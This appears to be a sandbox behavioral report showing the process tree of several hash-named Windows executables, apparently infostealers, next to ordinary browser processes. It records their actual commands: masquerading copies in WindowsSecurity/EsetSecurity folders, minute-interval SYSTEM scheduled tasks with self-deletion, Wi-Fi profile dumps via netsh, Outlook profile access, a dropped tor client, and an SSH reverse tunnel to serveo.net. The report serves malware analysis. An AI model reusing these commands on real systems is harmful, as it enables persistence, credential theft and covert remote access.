  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:5864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
  2⤵
  PID:9660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:1
  2⤵
  PID:2760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:8348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2196 /prefetch:1
  2⤵
  PID:6904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:9392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:8212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,11355591338724047776,13110721234782667238,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:1796

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:2336
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4840
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.0.1291677729\475397775" -parentBuildID 20221007134813 -prefsHandle 1872 -prefMapHandle 1864 -prefsLen 20938 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5588a3be-d7e7-4668-a051-45e8fb053350} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 1968 190371d6758 gpu
    3⤵
    PID:3856
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.1.1406142018\2059736816" -parentBuildID 20221007134813 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 20974 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {07dda685-5f79-4543-b8cb-66cfb8a0ec41} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 2424 19036ce3858 socket
    3⤵
    - Checks processor information in registry
    PID:5104
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.2.646592811\183932866" -childID 1 -isForBrowser -prefsHandle 3488 -prefMapHandle 3484 -prefsLen 21012 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {90c1e82f-abde-4acb-9515-33dbfd5af693} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3496 19037165a58 tab
    3⤵
    PID:396
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.5.977913336\1443874092" -childID 4 -isForBrowser -prefsHandle 3840 -prefMapHandle 3844 -prefsLen 21118 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39b1aac8-baf6-4a6d-9808-89a1447dfb47} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3924 1903b3b1a58 tab
    3⤵
    PID:5228
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.4.590578845\1447698374" -childID 3 -isForBrowser -prefsHandle 3688 -prefMapHandle 3692 -prefsLen 21118 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ded4b432-e466-494e-84a4-d8fa10c7b063} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3676 1903b3b1758 tab
    3⤵
    PID:5216
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.3.826935872\920629591" -childID 2 -isForBrowser -prefsHandle 3264 -prefMapHandle 3312 -prefsLen 21118 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f65f9d13-a578-44ce-9495-1e90b4a24d45} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3352 1903b34e558 tab
    3⤵
    PID:5208
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.6.194650862\429115560" -childID 5 -isForBrowser -prefsHandle 4516 -prefMapHandle 4512 -prefsLen 26838 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8c551d1b-ea00-415f-93f1-fcc169354718} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 4520 1903a697258 tab
    3⤵
    PID:2304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.7.2034092510\1464725009" -childID 6 -isForBrowser -prefsHandle 5500 -prefMapHandle 5476 -prefsLen 26897 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f58bd567-5773-42ee-bcb6-feabedb25a96} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 5508 1903d3d2858 tab
    3⤵
    PID:1512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.8.1113188787\1869246320" -childID 7 -isForBrowser -prefsHandle 5412 -prefMapHandle 5352 -prefsLen 26978 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81140ad4-9055-48f6-8328-9bb4efe84e97} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 5408 1903c412358 tab
    3⤵
    PID:4300
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.9.1545227782\1619155116" -childID 8 -isForBrowser -prefsHandle 5344 -prefMapHandle 6060 -prefsLen 27153 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e483217-5f7f-4b3d-95c3-339aa9f2a7d6} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 5380 1903e9cf658 tab
    3⤵
    PID:872
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.10.1604733736\352682091" -parentBuildID 20221007134813 -prefsHandle 4040 -prefMapHandle 3900 -prefsLen 27278 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9b8d1d0a-e07c-4189-bcd7-8b92144abbaa} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3644 1903a41e558 rdd
    3⤵
    PID:6740
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.11.392224443\1787653770" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 6304 -prefMapHandle 4028 -prefsLen 27278 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e0ab0e3d-e5ef-4e3f-848c-7144e7e1d41c} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 3976 1903fc79758 utility
    3⤵
    PID:5208
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.12.1645122445\324741088" -childID 9 -isForBrowser -prefsHandle 9924 -prefMapHandle 10128 -prefsLen 27278 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {945a7f86-87f6-45e6-a683-044633115fa7} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 9992 1903fe5e158 tab
    3⤵
    PID:7056
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.13.847548059\159326599" -childID 10 -isForBrowser -prefsHandle 2948 -prefMapHandle 10204 -prefsLen 30333 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7fbc3a35-e03b-4a80-b748-8b368c826298} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 6620 1903fa8ef58 tab
    3⤵
    PID:6588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.14.458445765\437346078" -childID 11 -isForBrowser -prefsHandle 6456 -prefMapHandle 3628 -prefsLen 30333 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f89e75a-567f-4a0f-b6d7-ea0523e5f9f6} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 6712 1903c412358 tab
    3⤵
    PID:6860
- - C:\Program Files\Mozilla Firefox\minidump-analyzer.exe
    "C:\Program Files\Mozilla Firefox\minidump-analyzer.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\7779b36e-913b-43f7-ba32-339b67c78dee.dmp"
    3⤵
    PID:9184
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.15.204732161\1961802835" -childID 12 -isForBrowser -prefsHandle 5968 -prefMapHandle 1580 -prefsLen 30404 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64be93fd-7bad-4512-b2f2-dab5e63afb58} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 6840 1902a460a58 tab
    3⤵
    PID:7372
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.16.558139561\236931802" -childID 13 -isForBrowser -prefsHandle 6776 -prefMapHandle 6560 -prefsLen 30404 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1571b809-65b8-4993-8dec-d0e378930ce8} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 4852 1902a46e858 tab
    3⤵
    PID:7820
- - C:\Program Files\Mozilla Firefox\minidump-analyzer.exe
    "C:\Program Files\Mozilla Firefox\minidump-analyzer.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2b7966ea-8f81-42e9-9bde-9a70bdce47f6.dmp"
    3⤵
    PID:8580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4840.17.763366423\1586076718" -childID 14 -isForBrowser -prefsHandle 6440 -prefMapHandle 4856 -prefsLen 30404 -prefMapSize 232675 -jsInitHandle 1112 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7897e17-1893-4f51-ad8b-e87fcb8f6ec6} 4840 "\\.\pipe\gecko-crash-server-pipe.4840" 4908 1903c413558 tab
    3⤵
    PID:9756
- - C:\Program Files\Mozilla Firefox\minidump-analyzer.exe
    "C:\Program Files\Mozilla Firefox\minidump-analyzer.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a23c92e1-93ed-4033-8a34-f77f78d77fed.dmp"
    3⤵
    PID:8612
- - C:\Program Files\Mozilla Firefox\minidump-analyzer.exe
    "C:\Program Files\Mozilla Firefox\minidump-analyzer.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c324dfa0-bc39-4d4e-b4b1-67370281a279.dmp"
    3⤵
    PID:10132

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2144

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2172

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6328

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\cdd6ca2affbd4f4a9370a1d9119edb6e /t 4340 /p 4840
1⤵
PID:6260

C:\Users\Admin\Desktop\b7c6a4f61402affbef93c0f070c06d1169921039c675a642e9a56ca04b99db4d.exe
"C:\Users\Admin\Desktop\b7c6a4f61402affbef93c0f070c06d1169921039c675a642e9a56ca04b99db4d.exe"
1⤵
PID:1016
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\RF6tg7YH.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\RF6tg7YH.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:7740
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "RF6tg7YH" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\RarSFX0\RF6tg7YH.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe"
    3⤵
    PID:8124
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:7208
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1
      4⤵
      Runs ping.exe
      PID:7276
  - - C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe
      "C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe"
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      PID:9144
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "RF6tg7YH" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:9072

C:\Users\Admin\Desktop\b61bf90d390c8e8277e8dd42f5f279f1aa1542185fb8f45e6416ac30ee9ad9b6.exe
"C:\Users\Admin\Desktop\b61bf90d390c8e8277e8dd42f5f279f1aa1542185fb8f45e6416ac30ee9ad9b6.exe"
1⤵
- Accesses Microsoft Outlook profiles
PID:6832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:5628
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4460
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:7516
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:7376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:8000

C:\Users\Admin\Desktop\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
"C:\Users\Admin\Desktop\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
1⤵
PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\Desktop\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
  2⤵
  PID:2316
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3388
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7464
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:8028
- - C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    PID:7176

C:\Users\Admin\Desktop\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
"C:\Users\Admin\Desktop\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe"
1⤵
PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\Desktop\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe" &&START "" "C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe"
  2⤵
  PID:2044
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:5224
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7348
- - C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
    "C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    PID:7268
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp78D3.tmp" -C "C:\Users\Admin\AppData\Local\9krryil1hy"
      4⤵
      PID:7380
  - - C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
      "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
      4⤵
      Executes dropped EXE
      PID:6000
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4116

C:\Users\Admin\Desktop\0e750fdf87d5db48b182f344f666588d5e293b174bb9699ff6b7bc1f17dce12e.exe
"C:\Users\Admin\Desktop\0e750fdf87d5db48b182f344f666588d5e293b174bb9699ff6b7bc1f17dce12e.exe"
1⤵
- Accesses Microsoft Outlook profiles
PID:3128

C:\Users\Admin\Desktop\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
"C:\Users\Admin\Desktop\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe"
1⤵
PID:6208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\Desktop\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe"
  2⤵
  PID:6568
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:6196
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7360
- - C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    PID:3900
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8928 serveo.net
      4⤵
      PID:8684
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      PID:2460
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:5896
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:6992

C:\Users\Admin\Desktop\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
"C:\Users\Admin\Desktop\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
1⤵
PID:3900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\Desktop\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
  2⤵
  PID:7252
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:7428
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:8036
- - C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    PID:7916
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5760 serveo.net
      4⤵
      PID:9208
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      PID:8936
  - - C:\Windows\SYSTEM32\cmd.exe
